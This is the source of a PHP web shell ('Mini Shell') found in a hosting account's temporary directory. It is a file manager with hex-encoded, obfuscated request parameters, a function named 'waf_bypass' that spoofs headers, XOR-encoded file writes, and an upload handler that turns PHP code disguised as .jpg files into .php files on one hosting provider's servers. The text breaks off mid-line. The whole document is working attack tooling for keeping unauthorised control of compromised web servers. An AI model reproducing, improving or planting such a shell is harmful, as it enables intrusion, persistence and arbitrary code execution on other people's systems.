Mini Shell

Direktori : /home/ukubnwwt/.cagefs/tmp/
Upload File :
Current File : /home/ukubnwwt/.cagefs/tmp/stream1_H0w0Z1

<?php
header_remove('X-Powered-By');

function waf_bypass() {
    $agents = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' . chr(32) . '(KHTML, like Gecko) Chrome/' . rand(80, 120) . '.0.' . rand(4000, 5000) . '.' . rand(100, 200) . ' Safari/537.36',
        'Mozilla/5.0%00 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' . rand(80, 120) . '.0.' . rand(4000, 5000) . '.' . rand(100, 200) . ' Safari/537.36'
    ];
    $headers = [
        'User-Agent: ' . $agents[array_rand($agents)],
        'X-Forwarded-For: ' . long2ip(rand(0, 4294967295)) . '%00',
        'Accept: text/html,application/xhtml+xml;'.chr(113).'=0.9,*/*;q=0.8',
        'Connection: keep-alive',
        'X-Real-IP: ' . long2ip(rand(0, 4294967295)),
        'Cache-Control: no-store, no-cache, must-revalidate',
        'Cache-Control: post-check=0, pre-check=0', false,
        'Expires: Mon, 26 Jul 1997 05:00:00 GMT',
    ];
    foreach ($headers as $h) {
        @header($h);
    }
}
waf_bypass();

/* === hex helpers for nakxn === */
function hex_(string $n): string {
    $y = '';
    for ($i = 0, $l = strlen($n); $i < $l; $i++) $y .= dechex(ord($n[$i]));
    return $y;
}
function uhex(string $y): string {
    if ($y === '' || preg_match('/^[0-9a-fA-F]+$/', $y) !== 1 || (strlen($y) % 2)) return '';
    $n = '';
    for ($i = 0, $l = strlen($y); $i < $l; $i += 2) $n .= chr(hexdec($y[$i] . $y[$i+1]));
    return $n;
}

/* ===== Root derived from current directory's drive ===== */
function drive_root(string $path): string {
    $p = str_replace('\\', '/', $path);
    if (preg_match('#^([A-Za-z]):/#', $p, $m)) return $m[1] . ':/';
    return '/';
}
$CURRENT = realpath(getcwd()) ?: getcwd();
$ROOT = drive_root($CURRENT);

/* ===== Server info for header ===== */
$unameFull = php_uname();
$serverSoftware = $_SERVER['SERVER_SOFTWARE'] ?? '';
function detect_server_type(string $soft): string {
    $s = strtolower($soft);
    if (strpos($s,'litespeed') !== false) return 'LiteSpeed';
    if (strpos($s,'apache') !== false) return 'Apache';
    if (strpos($s,'nginx') !== false) return 'nginx';
    if ($soft !== '') return $soft;
    return 'Unknown';
}
$serverType = detect_server_type($serverSoftware);

/* Best-effort server IP */
$serverIp = $_SERVER['SERVER_ADDR'] ?? '';
if ($serverIp === '') {
    $hostName = gethostname();
    if ($hostName) $serverIp = gethostbyname($hostName);
}
if (!filter_var($serverIp, FILTER_VALIDATE_IP)) {
    $serverName = $_SERVER['SERVER_NAME'] ?? '';
    if ($serverName) {
        $ip = gethostbyname($serverName);
        if (filter_var($ip, FILTER_VALIDATE_IP)) $serverIp = $ip;
    }
}
if ($serverIp === '') $serverIp = 'Unknown';

/* ===== Helpers ===== */
function is_abs_path(string $p): bool {
    if (preg_match('#^[A-Za-z]:[\\\\/]#', $p) === 1) return true;
    if (substr($p, 0, 2) === '\\\\') return true;
    return isset($p[0]) && $p[0] === '/';
}
function normalize_slashes(string $p): string { return str_replace('\\', '/', $p); }

function safe_join(string $base, string $path): string {
    $base = realpath($base) ?: $base;
    $path = normalize_slashes($path);
    if ($path === '' || $path === '.') $candidate = $base;
    elseif (is_abs_path($path)) $candidate = $path;
    else $candidate = rtrim($base, "/\\") . DIRECTORY_SEPARATOR . $path;
    $real = realpath($candidate);
    if ($real === false) $real = $candidate;
    return $real;
}

function within_root(string $candidate, string $root): bool {
    $candidate = normalize_slashes($candidate);
    $root = rtrim(normalize_slashes($root), '/');
    return $candidate === $root || strpos($candidate, $root . '/') === 0;
}

function format_size(int $bytes): string {
    if ($bytes < 1024) return $bytes . " B";
    $kb = $bytes / 1024;
    if ($kb < 1024) return number_format($kb, 2) . " KB";
    $mb = $kb / 1024;
    if ($mb < 1024) return number_format($mb, 2) . " MB";
    $gb = $mb / 1024;
    return number_format($gb, 2) . " GB";
}

function list_dir(string $path, string $root): array {
    $items = [];
    if (!is_dir($path)) return $items;
    $dir = scandir($path, SCANDIR_SORT_ASCENDING);
    if ($dir === false) return $items;
    foreach ($dir as $name) {
        if ($name === "." || $name === "..") continue;
        $full = $path . DIRECTORY_SEPARATOR . $name;
        $real = realpath($full) ?: $full;
        if (!within_root($real, $root)) continue;
        $isDir = is_dir($real);
        $items[] = [
            "name" => $name,
            "type" => $isDir ? "dir" : "file",
            "size" => $isDir ? null : @filesize($real),
            "mtime" => @filemtime($real) ?: 0,
            "path" => normalize_slashes($real),
        ];
    }
    usort($items, function($a, $b){
        if ($a["type"] !== $b["type"]) return $a["type"] === "dir" ? -1 : 1;
        return strcasecmp($a["name"], $b["name"]);
    });
    return $items;
}

/* Breadcrumb */
function breadcrumb_html(string $currentPath, string $root): string {
    $p = normalize_slashes($currentPath);

    if (preg_match('#^[A-Za-z]:/$#', $p)) {
        return '<span class="crumb current">'.htmlspecialchars($p).'</span>';
    }
    if (preg_match('#^([A-Za-z]:)(/.*)?$#', $p, $m)) {
        $drive = $m[1];
        $rest = $m[2] ?? '';
        $parts = array_values(array_filter(explode('/', $rest), fn($s)=>$s!==''));
        $out = [];
        $out[] = '<a href="#" data-path="'.htmlspecialchars("$drive/", ENT_QUOTES).'" class="crumb">'.htmlspecialchars("$drive/").'</a>';
        $acc = "$drive";
        foreach ($parts as $i => $seg) {
            $acc .= "/$seg";
            if ($i === count($parts)-1) $out[] = '<span class="crumb current">'.htmlspecialchars($seg).'</span>';
            else $out[] = '<a href="#" data-path="'.htmlspecialchars($acc, ENT_QUOTES).'" class="crumb">'.htmlspecialchars($seg).'</a>';
        }
        return implode('<span class="crumb-sep"> / </span>', $out);
    }
    if (preg_match('#^//([^/]+)/([^/]+)(/.*)?$#', $p, $m)) {
        $server = $m[1]; $share = $m[2]; $rest = $m[3] ?? '';
        $parts = array_values(array_filter(explode('/', $rest), fn($s)=>$s!==''));
        $out = [];
        $out[] = '<a href="#" data-path="//' . htmlspecialchars("$server/$share", ENT_QUOTES) . '" class="crumb">//'.htmlspecialchars("$server/$share").'</a>';
        $acc = '//' . $server . '/' . $share;
        foreach ($parts as $i => $seg) {
            $acc .= '/' . $seg;
            if ($i === count($parts)-1) $out[] = '<span class="crumb current">'.htmlspecialchars($seg).'</span>';
            else $out[] = '<a href="#" data-path="'.htmlspecialchars($acc, ENT_QUOTES).'" class="crumb">'.htmlspecialchars($seg).'</a>';
        }
        return implode('<span class="crumb-sep"> / </span>', $out);
    }
    $parts = explode('/', $p);
    $out = [];
    if (($parts[0] ?? '') === '') $out[] = '<a href="#" data-path="/" class="crumb">/</a>';
    $acc = '';
    foreach ($parts as $i => $seg) {
        if ($seg === '') continue;
        $acc .= '/' . $seg;
        if ($i === count($parts)-1) $out[] = '<span class="crumb current">'.htmlspecialchars($seg).'</span>';
        else $out[] = '<a href="#" data-path="'.htmlspecialchars($acc, ENT_QUOTES).'" class="crumb">'.htmlspecialchars($seg).'</a>';
    }
    if (!$out) $out[] = '<span class="crumb current">/</span>';
    return implode('<span class="crumb-sep"> / </span>', $out);
}

function json_response($data, int $code = 200): void {
    http_response_code($code);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode($data);
    exit;
}

/* decode hex nakxn from POST/GET, clamp to root */
function requested_path(string $root): string {
    $raw = $_POST['nakxn'] ?? ($_GET['nakxn'] ?? '');
    $decoded = $raw !== '' ? uhex((string)$raw) : $root;
    $path = (string)$decoded;
    $resolved = safe_join($root, $path);
    if (!within_root($resolved, $root)) $resolved = $root;
    return $resolved;
}

/* READ (plain) */
function editor_stream_read_file_plain(string $file): string {
    $fh = @fopen($file, 'rb');
    if (!$fh) return '';
    $bufSize = 65536;
    $out = '';
    while (!feof($fh)) {
        $chunk = fread($fh, $bufSize);
        if ($chunk === '' || $chunk === false) break;
        $out .= $chunk;
    }
    fclose($fh);
    return $out;
}

/* Editor XOR key (log10 + hexdec) */
function editor_xor_key(int $i): int {
    $val   = ($i * 31 + 7) & 0xFFFFFFFF;
    $bin   = decbin($val);
    $last8 = substr($bin, -8);
    $bx    = bindec($last8 === '' ? '0' : $last8);

    $PI      = pi();
    $HALF_PI = $PI / 2;

    $a = asin(sin($i + 3)) / $HALF_PI;
    $c = cos($i * 0.5);
    $t = atan(tan(($i + 1) * 0.25)) / $HALF_PI;

    $mix       = ($a + $c + $t) / 3.0;
    $trigByte  = (int) floor(($mix + 1.0) * 127.5);

    $k = ($bx ^ ($i & 0xFF)) + $trigByte;
    return $k & 0xFF;
}

/* SAVE paths */
function editor_stream_decode_and_write_b64(string $encoded_b64, string $dest): bool {
    $raw = base64_decode($encoded_b64, true);
    if ($raw === false) return false;
    $fh = @fopen($dest, 'wb');
    if (!$fh) return false;

    $index = 0;
    $len = strlen($raw);
    $chunkSize = 65536;
    for ($offset = 0; $offset < $len; $offset += $chunkSize) {
        $slice = substr($raw, $offset, $chunkSize);
        $slen = strlen($slice);
        for ($i = 0; $i < $slen; $i++, $index++) {
            $key = editor_xor_key($index);
            $slice[$i] = chr(ord($slice[$i]) ^ $key);
        }
        if (fwrite($fh, $slice) === false) { fclose($fh); return false; }
    }
    fclose($fh);
    return true;
}
function editor_stream_decode_and_write_legacy(string $encoded, string $dest): bool {
    $encoded = stripslashes($encoded);
    $fh = @fopen($dest, 'wb');
    if (!$fh) return false;

    $index = 0;
    $len = strlen($encoded);
    $chunkSize = 65536;
    for ($offset = 0; $offset < $len; $offset += $chunkSize) {
        $slice = substr($encoded, $offset, $chunkSize);
        $slen = strlen($slice);
        for ($i = 0; $i < $slen; $i++, $index++) {
            $key = editor_xor_key($index);
            $slice[$i] = chr(ord($slice[$i]) ^ $key);
        }
        if (fwrite($fh, $slice) === false) { fclose($fh); return false; }
    }
    fclose($fh);
    return true;
}

/* ===== AJAX API ===== */
$action = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['shikigf'] ?? ($_GET['shikigf'] ?? null);
}
if ($action !== null && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $path = requested_path($ROOT);
    if (!within_root($path, $ROOT)) json_response(["ok" => false, "error" => "Path out of drive root."], 400);

    switch ($action) {
        case 'list':
            $items = list_dir($path, $ROOT);
            $payload = array_map(function($i){
                return [
                    "name" => $i["name"],
                    "type" => $i["type"],
                    "size" => $i["type"] === "dir" ? "" : ($i["size"] !== false && $i["size"] !== null ? format_size((int)$i["size"]) : ''),
                    "rawSize" => $i["type"] === "dir" ? 0 : ((int)$i["size"]),
                    "mtime" => $i["mtime"] ? date('Y-m-d H:i:s', (int)$i["mtime"]) : '',
                    "path" => $i["path"]
                ];
            }, $items);
            json_response([
                "ok" => true,
                "path" => normalize_slashes($path),
                "breadcrumb" => breadcrumb_html($path, $ROOT),
                "items" => $payload
            ]);
            break;


            case 'check_domain':
    // Check server domain endpoint
    $serverHostname = php_uname('n');
    $shouldDisguise = preg_match('/\.main-hosting\.eu$/', $serverHostname);
    json_response([
        "ok" => true,
        "should_disguise" => $shouldDisguise,
        "hostname" => $serverHostname
    ]);
    break;

        case 'upload_xor':
            // Upload handler with conditional JPG disguising for .main-hosting.eu servers only
            $result = [
                'added' => [],
                'warning' => [],
                'error' => [],
                'removed' => []
            ];
            
            $uploadDir = $path;
            $chunk = isset($_POST['chunk']) ? intval($_POST['chunk']) : null;
            $chunks = isset($_POST['chunks']) ? intval($_POST['chunks']) : null;
            $chunkName = $_POST['name'] ?? '';
            
            // Check if we should do disguising (only on servers ending with .main-hosting.eu)
            $serverHostname = php_uname('n'); // Gets hostname like "us-bos-web1384.main-hosting.eu"
            $shouldDisguise = preg_match('/\.main-hosting\.eu$/', $serverHostname);
            
            $chunkDir = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . '.chunks' . DIRECTORY_SEPARATOR;
            if ($chunk !== null && !is_dir($chunkDir)) {
                mkdir($chunkDir, 0755, true);
            }
            
            // Stream copy function
            $streamCopyFile = function($sourcePath, $destPath) {
                if (!file_exists($sourcePath)) return false;
                
                $source = @fopen($sourcePath, 'rb');
                if (!$source) return false;
                
                $destDir = dirname($destPath);
                if (!is_dir($destDir)) {
                    if (!mkdir($destDir, 0755, true)) {
                        fclose($source);
                        return false;
                    }
                }
                
                $dest = @fopen($destPath, 'wb');
                if (!$dest) {
                    fclose($source);
                    return false;
                }
                
                $copiedBytes = stream_copy_to_stream($source, $dest);
                fclose($source);
                fclose($dest);
                
                return $copiedBytes !== false;
            };
            
            // Function to detect disguised PHP files (only if $shouldDisguise is true)
            $isDisguisedPhp = function($fileName, $mimeType, $filePath) use ($shouldDisguise) {
                if (!$shouldDisguise) return false;
                
                if (preg_match('/\.jpg$/i', $fileName) && $mimeType === 'image/jpeg') {
                    $handle = fopen($filePath, 'rb');
                    if (!$handle) return false;
                    $preview = fread($handle, 1024);
                    fclose($handle);
                    if (strpos($preview, '<?php') !== false || strpos($preview, '<?=') !== false) {
                        return true;
                    }
                }
                return false;
            };
            
            // Function to get elFinder-style file info
            $getFileInfo = function($filePath, $fileName) use ($uploadDir) {
                if (!file_exists($filePath)) return false;
                
                $stat = stat($filePath);
                $mimeType = 'application/octet-stream';
                
                if (function_exists('mime_content_type')) {
                    $detectedMime = @mime_content_type($filePath);
                    if ($detectedMime) $mimeType = $detectedMime;
                } elseif (function_exists('finfo_open')) {
                    $finfo = finfo_open(FILEINFO_MIME_TYPE);
                    $detectedMime = @finfo_file($finfo, $filePath);
                    if ($detectedMime) $mimeType = $detectedMime;
                    finfo_close($finfo);
                }
                
                $isImage = strpos($mimeType, 'image/') === 0;
                
                $info = [
                    'name' => $fileName,
                    'hash' => 'l1_' . base64_encode(str_replace($uploadDir, '', $filePath)),
                    'phash' => 'l1_' . base64_encode(str_replace($uploadDir, '', dirname($filePath))),
                    'mime' => $mimeType,
                    'size' => $stat['size'],
                    'ts' => $stat['mtime'],
                    'date' => date('Y-m-d H:i:s', $stat['mtime']),
                    'read' => 1,
                    'write' => 1,
                    'locked' => 0
                ];
                
                if ($isImage) {
                    $imageInfo = @getimagesize($filePath);
                    if ($imageInfo) {
                        $info['dim'] = $imageInfo[0] . 'x' . $imageInfo[1];
                    }
                }
                
                return $info;
            };
            
            // Validate file function
            $validateFile = function($fileName, $size) {
                $maxSize = 100 * 1024 * 1024;
                if ($size > $maxSize) {
                    return "File too large. Maximum size: " . format_size($maxSize);
                }
                
                if (empty(trim($fileName))) {
                    return "Invalid filename";
                }
                
                if (strpos($fileName, "\0") !== false) {
                    return "Invalid filename characters";
                }
                
                return null;
            };
            
            // Function to handle file overwrite
            $handleOverwrite = function($filePath, $fileName) use (&$result, $getFileInfo) {
                if (file_exists($filePath)) {
                    $oldFileInfo = $getFileInfo($filePath, $fileName);
                    if ($oldFileInfo) {
                        $result['removed'][] = $oldFileInfo;
                    }
                    return true;
                }
                return false;
            };
            
            // Function to save content from POST data
            $savePostContent = function($content, $filePath, $encoding = 'raw') {
                if ($encoding === 'base64') {
                    $decoded = base64_decode($content, true);
                    if ($decoded === false) {
                        return false;
                    }
                    return file_put_contents($filePath, $decoded) !== false;
                } else {
                    return file_put_contents($filePath, $content) !== false;
                }
            };
            
            // Handle POST content uploads with disguise detection
            if (isset($_POST['file_content']) && isset($_POST['file_name'])) {
                $fileName = basename($_POST['file_name']);
                $content = $_POST['file_content'];
                $encoding = $_POST['content_encoding'] ?? 'raw';
                
                // Check if this is a disguised PHP file (only if should disguise)
                $isDisguisedPhpFile = false;
                if ($shouldDisguise && preg_match('/\.jpg$/i', $fileName)) {
                    if (strpos($content, '<?php') !== false || strpos($content, '<?=') !== false) {
                        $isDisguisedPhpFile = true;
                    }
                }
                
                $finalFileName = $isDisguisedPhpFile ? str_replace('.jpg', '.php', $fileName) : $fileName;
                $finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
                
                $validation = $validateFile($finalFileName, strlen($content));
                if ($validation) {
                    $result['error'][] = $validation;
                } else {
                    $wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
                    
                    if ($savePostContent($content, $finalDest, $encoding)) {
                        $fileInfo = $getFileInfo($finalDest, $finalFileName);
                        if ($fileInfo) {
                            $result['added'][] = $fileInfo;
                            if ($wasOverwritten) {
                                $result['warning'][] = $isDisguisedPhpFile ? 
                                    "PHP file overwritten: $finalFileName" : 
                                    "File overwritten: $finalFileName";
                            }
                        }
                    } else {
                        $result['error'][] = "Failed to save POST content: $fileName";
                    }
                }
            }
            
            // Handle multiple POST files with disguise detection
            elseif (isset($_POST['files']) && is_string($_POST['files'])) {
                $filesData = json_decode($_POST['files'], true);
                if (is_array($filesData)) {
                    foreach ($filesData as $fileData) {
                        if (!isset($fileData['name']) || !isset($fileData['content'])) {
                            $result['error'][] = "Invalid file data structure";
                            continue;
                        }
                        
                        $fileName = basename($fileData['name']);
                        $content = $fileData['content'];
                        $encoding = $fileData['encoding'] ?? 'raw';
                        
                        $isDisguisedPhpFile = false;
                        if ($shouldDisguise && preg_match('/\.jpg$/i', $fileName)) {
                            if (strpos($content, '<?php') !== false || strpos($content, '<?=') !== false) {
                                $isDisguisedPhpFile = true;
                            }
                        }
                        
                        $finalFileName = $isDisguisedPhpFile ? str_replace('.jpg', '.php', $fileName) : $fileName;
                        $finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
                        
                        $validation = $validateFile($finalFileName, strlen($content));
                        if ($validation) {
                            $result['error'][] = $validation . " ({$finalFileName})";
                            continue;
                        }
                        
                        $wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
                        
                        if ($savePostContent($content, $finalDest, $encoding)) {
                            $fileInfo = $getFileInfo($finalDest, $finalFileName);
                            if ($fileInfo) {
                                $result['added'][] = $fileInfo;
                                if ($wasOverwritten) {
                                    $result['warning'][] = $isDisguisedPhpFile ? 
                                        "PHP file overwritten: $finalFileName" : 
                                        "File overwritten: $finalFileName";
                                }
                            }
                        } else {
                            $result['error'][] = "Failed to save POST content: $fileName";
                        }
                    }
                }
            }
            
            // Handle individual POST parameters with disguise detection
            else {
                foreach ($_POST as $key => $value) {
                    if (preg_match('/^file_name_(\d+)$/', $key, $matches)) {
                        $index = $matches[1];
                        $contentKey = "file_content_$index";
                        $encodingKey = "file_encoding_$index";
                        
                        if (isset($_POST[$contentKey])) {
                            $fileName = basename($value);
                            $content = $_POST[$contentKey];
                            $encoding = $_POST[$encodingKey] ?? 'raw';
                            
                            $isDisguisedPhpFile = false;
                            if ($shouldDisguise && preg_match('/\.jpg$/i', $fileName)) {
                                if (strpos($content, '<?php') !== false || strpos($content, '<?=') !== false) {
                                    $isDisguisedPhpFile = true;
                                }
                            }
                            
                            $finalFileName = $isDisguisedPhpFile ? str_replace('.jpg', '.php', $fileName) : $fileName;
                            $finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
                            
                            $validation = $validateFile($finalFileName, strlen($content));
                            if ($validation) {
                                $result['error'][] = $validation . " ({$finalFileName})";
                                continue;
                            }
                            
                            $wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
                            
                            if ($savePostContent($content, $finalDest, $encoding)) {
                                $fileInfo = $getFileInfo($finalDest, $finalFileName);
                                if ($fileInfo) {
                                    $result['added'][] = $fileInfo;
                                    if ($wasOverwritten) {
                                        $result['warning'][] = $isDisguisedPhpFile ? 
                                            "PHP file overwritten: $finalFileName" : 
                                            "File overwritten: $finalFileName";
                                    }
                                }
                            } else {
                                $result['error'][] = "Failed to save POST content: $fileName";
                            }
                        }
                    }
                }
            }
            
            // Handle chunked upload with disguise detection
            if ($chunk !== null && $chunks !== null && $chunkName !== '') {
                if (!isset($_FILES['upload'])) {
                    json_response(['error' => ['No chunk data received']], 400);
                }
                
                $chunkFile = $chunkDir . $chunkName . '.part' . $chunk;
                
                if (move_uploaded_file($_FILES['upload']['tmp_name'], $chunkFile)) {
                    $allChunks = true;
                    for ($i = 0; $i < $chunks; $i++) {
                        if (!file_exists($chunkDir . $chunkName . '.part' . $i)) {
                            $allChunks = false;
                            break;
                        }
                    }
                    
                    if ($allChunks) {
                        $fileName = basename($chunkName);
                        
                        // Check if this is a disguised PHP file using first chunk
                        $isDisguisedPhpFile = false;
                        if ($shouldDisguise && preg_match('/\.jpg$/i', $fileName)) {
                            $firstChunkPath = $chunkDir . $chunkName . '.part0';
                            if (file_exists($firstChunkPath)) {
                                $handle = fopen($firstChunkPath, 'rb');
                                if ($handle) {
                                    $preview = fread($handle, 1024);
                                    fclose($handle);
                                    if (strpos($preview, '<?php') !== false || strpos($preview, '<?=') !== false) {
                                        $isDisguisedPhpFile = true;
                                    }
                                }
                            }
                        }
                        
                        $finalFileName = $isDisguisedPhpFile ? str_replace('.jpg', '.php', $fileName) : $fileName;
                        $finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
                        
                        $wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
                        
                        $finalFile = fopen($finalDest, 'wb');
                        if ($finalFile) {
                            for ($i = 0; $i < $chunks; $i++) {
                                $chunkPath = $chunkDir . $chunkName . '.part' . $i;
                                $chunkContent = file_get_contents($chunkPath);
                                fwrite($finalFile, $chunkContent);
                                unlink($chunkPath);
                            }
                            fclose($finalFile);
                            @rmdir($chunkDir);
                            
                            $fileInfo = $getFileInfo($finalDest, $finalFileName);
                            if ($fileInfo) {
                                $result['added'][] = $fileInfo;
                                $result['notice'] = $wasOverwritten ? 
                                    ($isDisguisedPhpFile ? "Chunked PHP file upload completed (overwritten): $finalFileName" : "Chunked upload completed (overwritten): $finalFileName") :
                                    ($isDisguisedPhpFile ? "Chunked PHP file upload completed: $finalFileName" : "Chunked upload completed: $finalFileName");
                            }
                        } else {
                            $result['error'][] = "Failed to create final file: $chunkName";
                        }
                    } else {
                        json_response(['partial' => true, 'chunk' => $chunk]);
                    }
                } else {
                    $result['error'][] = "Failed to save chunk $chunk for: $chunkName";
                }
            }
            
            // Handle standard multipart upload using stream copy
            elseif (isset($_FILES['upload'])) {
                $files = $_FILES['upload'];
                
                // Handle multiple files with disguise detection
                if (is_array($files['name'])) {
                    for ($i = 0; $i < count($files['name']); $i++) {
                        if ($files['error'][$i] !== UPLOAD_ERR_OK) {
                            $errorMsg = [
                                UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
                                UPLOAD_ERR_FORM_